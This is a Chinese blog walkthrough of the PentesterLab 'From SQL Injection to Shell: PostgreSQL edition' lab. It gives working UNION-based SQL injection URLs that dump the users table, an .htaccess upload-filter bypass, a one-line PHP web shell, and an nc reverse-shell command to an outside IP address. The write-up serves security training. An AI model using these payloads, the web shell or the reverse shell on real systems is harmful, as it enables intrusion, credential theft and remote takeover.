zoukankan      html  css  js  c++  java
  • PentesterLab-From SQL Injection to Shell: PostgreSQL edition

      

    一、打开页面,随便点了几下,返现和From SQL Injection to Shell差不多,直奔主题开始注入

      由于PostgreSQL与MySQL不同,几个关注点需要注意下

    二、order by下看看有几个字段

    /cat.php?id=1%20order%20by%204
    
    #order by 4正常,5出现报错,说明有4个字段

    三、查看注入点在什么位置,这里与MySQL不同的是,不能再用select 1,2,3……的方式去探测,要改用null,因为PostgreSQL对类型限制很严格

    http://192.168.109.131/cat.php?id=1%20union%20select%20null,version(),null,null

    发现只有第二个字段可以出来东西,注入点在第二个字段

    四、查看当前库名

    http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,datname,null,null%20from%20pg_database%20limit%201%20offset%205

    五、查看表名

    http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,relname,null,null%20from+pg_stat_user_tables+limit+1+offset+0

    六、查看各个字段,遍历offset

    http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,column_name,null,null%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%201%20offset%202

    得出有login和password

    七、直接通过拼接字符串,读取数据

    http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,login||chr(124)||password,null,null%20from%20users

    八、MD5解密后,为admin|P4ssw0rd,直接登录后台进行上传

    九、上传时发现,改后缀名为php3,Content-Type,加入图片文件头都无法成功上传,查询教程后得知,可以通过.htaccess来进行绕过

    十、先编写一个.htaccess文件,内容为一下内容,进行上传

    AddType application/x-httpd-php .blah

    这个文件的意思是告诉apache,把.blah后缀的文件按照php进行解析

    十一、在上传shell,不过这次shell不是.php后缀名,而是.blah

    <?php
    system($_GET['cmd'])
    ?>

    十二、查看源代码,得知上传位置,直接访问上传的webshell,进行shell反弹

    http://192.168.109.131/admin/uploads/function.blah?cmd=nc%2030.117.75.238%209999%20-e%20/bin/bash
  • 相关阅读:
    行定位符、单词定界符实例用法
    什么是正则表达式?
    PHP正则表达式语法汇总
    PDO中的存储过程的详细介绍
    PDO中的事务处理具体介绍
    PDO中错误处理的方法
    PDO中错误处理的方法
    使用默认模式-PDO::ERRMODE_SILENT
    PDO中执行SQL语句的三种方法
    使用默认模式-PDO::ERRMODE_SILENT
  • 原文地址:https://www.cnblogs.com/zlgxzswjy/p/9668191.html
Copyright © 2011-2022 走看看